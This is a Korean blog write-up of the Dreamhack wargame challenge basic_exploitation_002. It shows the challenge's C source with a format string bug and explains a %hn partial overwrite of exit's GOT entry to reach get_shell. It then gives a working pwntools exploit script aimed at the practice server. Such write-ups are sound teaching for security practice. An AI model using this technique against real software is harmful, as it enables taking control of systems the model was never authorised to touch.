basic_exploitation_002
https://dreamhack.io/wargame/challenges/4
문제 파일을 다운 받으면 basic_exploitation_002.c와 실행 파일이 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
main 함수 부분을 보면 printf(buf);
코드가 있는 것을 볼 수 있다.
이는 포맷 스트링 버그를 일으킬 수 있다.
exit
의 GOT에 get_shell
함수의 시작 주소를 넣어 exit(0);
가 실행될 때 get_shell 함수가 실행될 수 있도록 하면 될 것이다.
<exit의 GOT 위치와 get_shell 함수의 주소>
exit_GOT : 0x8048476
get_shell: 0x8048609
이제 exit_GOT
에 get_shell
함수의 시작 주소를 넣어야 되는데, 상위 2바이트는 0x0804로 같은 것을 볼 수 있다.
따라서 하위 2바이트만 0x8609로 덮어 주면 되는데, 이를 partial overwrite라고 하며, %hn를 이용하면 된다.
다음과 같이 입력했을 때, 처음 입력한 %p가 앞의 aaaa를 가리키는 것을 볼 수 있다.
이것과 밑의 %hn 설명을 참고하여 코드를 짜면 다음과 같다.
from pwn import *
p = remote("host3.dreamhack.games", 20053)
e = ELF("./basic_exploitation_002")
ex = e.got['exit']
get_shell = e.sym['get_shell']
#print("exit(): " + hex(ex))
#print("get_shell(): " + hex(get_shell))
payload = p32(ex)
payload += b"%34309c%1$hn"
p.send(payload)
p.interactive()
0x8609 = 34313이고, 앞에 주소를 적어 줌으로써 4바이트를 사용하였으므로 34313 - 4 = 34309를 넣어 주면 된다.
참고
'드림핵 워게임' 카테고리의 다른 글
[드림핵/워게임] rev-basic-1 (0) | 2023.09.09 |
---|---|
[드림핵/워게임] rev-basic-0 (0) | 2023.09.04 |
[드림핵/워게임] out_of_bound_000 (0) | 2023.08.17 |
[드림핵/워게임] off_by_one_001 (0) | 2023.08.17 |
[드림핵/워게임] off_by_one_000 (0) | 2023.08.17 |